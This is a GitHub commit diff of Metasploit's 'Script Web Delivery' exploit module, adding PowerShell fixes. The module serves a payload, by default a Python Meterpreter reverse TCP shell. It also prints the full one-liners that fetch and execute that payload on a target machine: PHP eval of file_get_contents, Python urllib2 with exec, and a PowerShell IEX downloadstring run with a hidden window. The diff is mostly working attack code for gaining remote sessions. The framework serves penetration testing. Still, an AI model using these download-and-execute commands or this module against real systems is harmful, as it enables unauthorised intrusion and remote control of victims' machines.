Skip to content

Commit e05904c

Browse files
committed
Land rapid7#3597, script/web_delivery powershell fixes
2 parents 0546282 + bff8a73 commit e05904c

File tree

1 file changed

+33
-31
lines changed

1 file changed

+33
-31
lines changed

modules/exploits/multi/script/web_delivery.rb

Lines changed: 33 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -4,16 +4,18 @@
44
##
55

66
require 'msf/core'
7+
require 'msf/core/exploit/powershell'
78

89
class Metasploit3 < Msf::Exploit::Remote
910
Rank = ManualRanking
1011

12+
include Msf::Exploit::Powershell
1113
include Msf::Exploit::Remote::HttpServer
1214

1315
def initialize(info = {})
1416
super(update_info(info,
1517
'Name' => 'Script Web Delivery',
16-
'Description' => %q{
18+
'Description' => %q(
1719
This module quickly fires up a web server that serves a payload.
1820
The provided command will start the specified scripting language interpreter and then download and execute the
1921
payload. The main purpose of this module is to quickly establish a session on a target
@@ -23,26 +25,26 @@ def initialize(info = {})
2325
escalations supplied by Meterpreter. When using either of the PSH targets, ensure the
2426
payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute
2527
x86 payloads on x64 machines.
26-
},
28+
),
2729
'License' => MSF_LICENSE,
2830
'Author' =>
2931
[
3032
'Andrew Smith "jakx" <[email protected]>',
3133
'Ben Campbell',
32-
'Chris Campbell' #@obscuresec - Inspiration n.b. no relation!
34+
'Chris Campbell' # @obscuresec - Inspiration n.b. no relation!
3335
],
3436
'DefaultOptions' =>
3537
{
3638
'Payload' => 'python/meterpreter/reverse_tcp'
3739
},
3840
'References' =>
3941
[
40-
[ 'URL', 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
41-
[ 'URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ],
42-
[ 'URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
43-
[ 'URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
42+
['URL', 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
43+
['URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],
44+
['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
45+
['URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
4446
],
45-
'Platform' => %w{python php win},
47+
'Platform' => %w(python php win),
4648
'Targets' =>
4749
[
4850
['Python', {
@@ -53,45 +55,45 @@ def initialize(info = {})
5355
'Platform' => 'php',
5456
'Arch' => ARCH_PHP
5557
}],
56-
['PSH_x86', {
58+
['PSH', {
5759
'Platform' => 'win',
58-
'Arch' => ARCH_X86
59-
}],
60-
['PSH_x64', {
61-
'Platform' => 'win',
62-
'Arch' => ARCH_X86_64
63-
}],
60+
'Arch' => [ARCH_X86, ARCH_X86_64]
61+
}]
6462
],
6563
'DefaultTarget' => 0,
6664
'DisclosureDate' => 'Jul 19 2013'
6765
))
6866
end
6967

70-
def on_request_uri(cli, request)
71-
print_status("Delivering Payload")
72-
if (target.name.include? "PSH")
73-
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
68+
def on_request_uri(cli, _request)
69+
print_status('Delivering Payload')
70+
if target.name.include? 'PSH'
71+
data = cmd_psh_payload(payload.encoded,
72+
payload_instance.arch.first,
73+
remove_comspec: true,
74+
use_single_quotes: true
75+
)
7476
else
75-
data = %Q|#{payload.encoded} |
77+
data = %Q(#{payload.encoded} )
7678
end
77-
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
79+
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
7880
end
7981

8082
def primer
81-
url = get_uri()
82-
print_status("Run the following command on the target machine:")
83+
url = get_uri
84+
print_status('Run the following command on the target machine:')
8385
case target.name
84-
when "PHP"
86+
when 'PHP'
8587
print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"")
86-
when "Python"
88+
when 'Python'
8789
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
88-
when "PSH_x86", "PSH_x64"
90+
when 'PSH'
8991
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
90-
print_line generate_psh_command_line({
91-
:noprofile => true,
92-
:windowstyle => 'hidden',
93-
:command => download_and_run
94-
})
92+
print_line generate_psh_command_line(
93+
noprofile: true,
94+
windowstyle: 'hidden',
95+
command: download_and_run
96+
)
9597
end
9698
end
9799
end

0 commit comments

Comments
 (0)